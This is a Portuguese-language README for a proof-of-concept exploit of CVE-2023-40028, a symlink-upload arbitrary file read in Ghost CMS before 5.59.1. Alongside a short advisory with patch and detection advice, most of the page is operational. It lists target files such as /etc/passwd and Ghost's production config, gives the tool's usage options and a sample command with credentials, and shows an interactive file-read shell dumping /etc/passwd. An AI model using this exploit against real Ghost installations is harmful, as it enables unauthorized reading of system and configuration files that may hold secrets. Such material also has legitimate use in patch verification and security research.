
POC para CVE-2023-40028: Leitura Arbitrária de Arquivos no Ghost CMS
Esta Prova de Conceito (POC) pode ser usada para explorar a vulnerabilidade CVE-2023-40028 e obter acesso de leitura de arquivos no Ghost CMS.
Ghost é um sistema de gerenciamento de conteúdo (CMS) de código aberto. As versões anteriores a 5.59.1 estão sujeitas a uma vulnerabilidade que permite que usuários autenticados carreguem arquivos que são links simbólicos. Isso pode ser explorado para realizar uma leitura arbitrária de qualquer arquivo no sistema operacional host. Os administradores do site podem verificar a exploração desse problema procurando por links simbólicos desconhecidos dentro da pasta content/ do Ghost. A versão 5.59.1 contém uma correção para este problema. Todos os usuários são aconselhados a atualizar. Não há soluções alternativas conhecidas para esta vulnerabilidade.
Severidade: 6.5 MÉDIO Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Alguns arquivos de texto puro não binários que podem ser interessantes:
/etc/hosts – resolução local de DNS no Linux/etc/passwd – contas de usuários do Linux/etc/group – grupos de usuários do Linux/var/lib/ghost/config.local.json – configuração local do Ghost CMS/var/lib/ghost/config.production.json – configuração de produção do Ghost CMSusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash